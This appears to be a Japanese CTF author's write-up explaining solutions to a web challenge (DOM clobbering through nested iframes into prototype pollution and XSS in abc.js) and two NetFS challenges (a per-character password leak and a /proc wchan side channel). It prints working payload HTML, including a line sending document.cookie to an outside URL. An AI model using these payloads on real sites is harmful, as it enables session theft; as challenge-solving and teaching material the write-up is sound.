async function defaultConfig() { // Use cache if available if (window.config) return window.config; // Otherwise get config let promise = await fetch('/api/config'); let config = await promise.json(); return window.config = config; }
window.config
が存在する場合、それをキャッシュとして優先して利用していることがわかります。しかし、 iframe
の name
属性を自由に設定できるので、「config」というタイトルの楽譜を投稿すると、iframeのDOMを参照しに行ってしまいます。
iframe
はDOM clobberingに便利です。今回の設定では次のような多段iframeを同じドメインに用意することで、Prototype Pollutionに繋げられます。
(1)
<iframe name="synth_options" src="/api/score/(2のScore ID)"></iframe>
(2)
<iframe name="__proto__" src="/api/score/(3のScore ID)"></iframe>
(3)
<base href="a://neko"> <a id="value"> <a id="value" name="x" href="1">
1のHTMLを楽譜として投稿すると、該当するScore IDをHTMLとしてAPIから取得できます。したがって、APIへのURLを関連リンクに設定すると、Objectのプロトタイプに対し、 x
を a://neko
にする汚染が発生します。
では、この汚染を利用してXSSに繋げられるでしょうか。abc.jsのコードを読むと、 innerHTML
を変更するコードがいくつかあります。例えば、以下のコードは再生バーのBPMをそのまま innerHTML
に入れています。
if (hasWarp) { var warpTitle = options.warpTitle ? options.warpTitle : "Change the playback speed."; var warpAria = options.warpAria ? options.warpAria : warpTitle; var bpm = options.bpm ? options.bpm : "BPM"; html += '<span class="abcjs-tempo-wrapper"><label><input class="abcjs-midi-tempo" type="number" min="1" max="300" value="100" title="' + warpTitle + '" aria-label="' + warpAria + '">%</label><span> (<span class="abcjs-midi-current-tempo"></span> ' + bpm + ')</span></span>\n'; } html += '<div class="abcjs-css-warning" style="font-size: 12px;color:red;border: 1px solid red;text-align: center;width: 300px;margin-top: 4px;font-weight: bold;border-radius: 4px;">CSS required: load abcjs-audio.css</div>'; html += '</div>\n'; parent.innerHTML = html;
したがって、3のHTMLを次のようにするとXSSでcookieが盗めます。
(3)
<base href='a://neko<iframe srcdoc="<script src=/api/score/(4のScore ID)></script>"></iframe>'> <a id="value"> <a id="value" name="bpm" href="1"> <a id="value" name="displayWarp" href="1">
(4)
location.href='http://<URL>/?x='+document.cookie;
非想定解について
この問題は初期の段階からあり、st98さんに作問チェックしてもらっていました。当初、楽譜描画ページにCSPをつけるとそこでXSSが発動しなくなると思っており、楽譜APIにのみ"script: 'none'"のCSPが付いていました。st98さんが全ページに自然にCSPを発明してくれたのですが、私はナマケモノなので開催前夜に修正したところ非想定解が入ってしまった次第です......
非想定解は最初のsolveが出た段階でパケットから判明していましたが、得点をロールバックする許可を得なければならないのと、そもそも想定解でもmedium-easy想定の問題だったので放置しました。その結果、「XSS botを触ってみよう」みたいな問題になりました。CSPを完全に理解するまで当面CSPに依存した問題は作らないようにします......
misc
NetFS 1
問題の生い立ち
NetFS 2の前座としてwarmupを用意しました。
問題概要
ネットワーク越しにファイルを閲覧できるサービスです。認証が付いており、管理者ユーザーのパスワードはわかりません。
LOGIN_USERS = { b'guest': b'guest', b'admin': open("secret/password.txt", "rb").read().strip() }
また、管理者ユーザー以外は開けないようになっています。
PROTECTED = [b"server.py", b"secret"] ... # Check filepath if not self.is_admin and \ any(map(lambda name: name in filepath, PROTECTED)): self.response(b"Permission denied.\n") continue
解説
パスワードの認証に脆弱性があります。
with Timeout(30): # Receive password self.response(b"Password: ") i = 0 while i < len(password): c = self._conn.recv(1) if c == b'': return elif c != password[i:i+1]: self.response(b"Incorrect password.\n") return i += 1
ソケットからパスワードを1文字ずつ受け取っていますが、間違っている文字に到達し次第 "Incorrect password." という出力を返します。したがって、レスポンスがあるかどうかで1文字ずつパスワードをリークできます。
NetFS 2
問題の生い立ち
ある日休憩がてらprocfsを触っていると、wchanという不思議なファイルを見つけました。なんとプログラムが停止しているのがLinuxカーネル中のどの関数かを教えてくれるではありませんか。 これはもはやオラクル以外の何者でもありません。
問題概要
NetFS 1と比べて、パスワードのチェックが強化されました。
with Timeout(5) as timer: # Receive password self.response(b"Password: ") i = 0 while i < len(password): c = self._conn.recv(1) if c == b'': timer.wait() self.response(b"Incorrect password.\n") return elif c != password[i:i+1]: timer.wait() self.response(b"Incorrect password.\n") return i += 1 if self._conn.recv(1) != b'\n': timer.wait() self.response(b"Incorrect password.\n") return
wait
は次のように定義されます。
def wait(self): signal.alarm(0) while time.time() - self.start < self.seconds: time.sleep(0.1) time.sleep(random.random())
パスワードの入力に5秒のタイムアウトがありますが、パスワードが誤っている場合も必ず「だいたい5秒」待つようになっています。
解説
同時に2つの接続を作り、片方でログインを、もう片方でゲストユーザーとしてファイルを読みます。ゲストユーザーは別のプロセスのprocfsを読めるので、procfsを使ってログイン中のプロセスの情報を得られます。
先程も書いたように、 /proc/<PID>/wchan
は「待ち状態」のプロセスがなぜ待ち状態になっているのかに関する情報を教えてくれます。実験してみましょう。
terminal1$ cat - terminal2$ cat /proc/$(ps aux | grep "cat -" | awk '{print $2}' | head -n 1)/wchan wait_woken
terminal1$ sleep infinity terminal2$ cat /proc/$(ps aux | grep "sleep 1234" | awk '{print $2}' | head -n 1)/wchan hrtimer_nanosleep
read
待ちしているプロセスと、 sleep
待ちしているプロセスで結果が変わりました!したがって、タイムアウトまでの5秒が次の文字入力を待っているのかsleepで待っているのかを確認できます。
非想定解について
この問題は非想定解が怖かったので注意喚起をしていましたが、結局作問チェックを迎えることはありませんでした。
開催1時間前に現地でkeymoonさんがチェックしてくれて、2つの重大なバグを見つけたので直しました。でも、いろいろありました。はい。
おわりに
ご参加ありがとうございました。うほ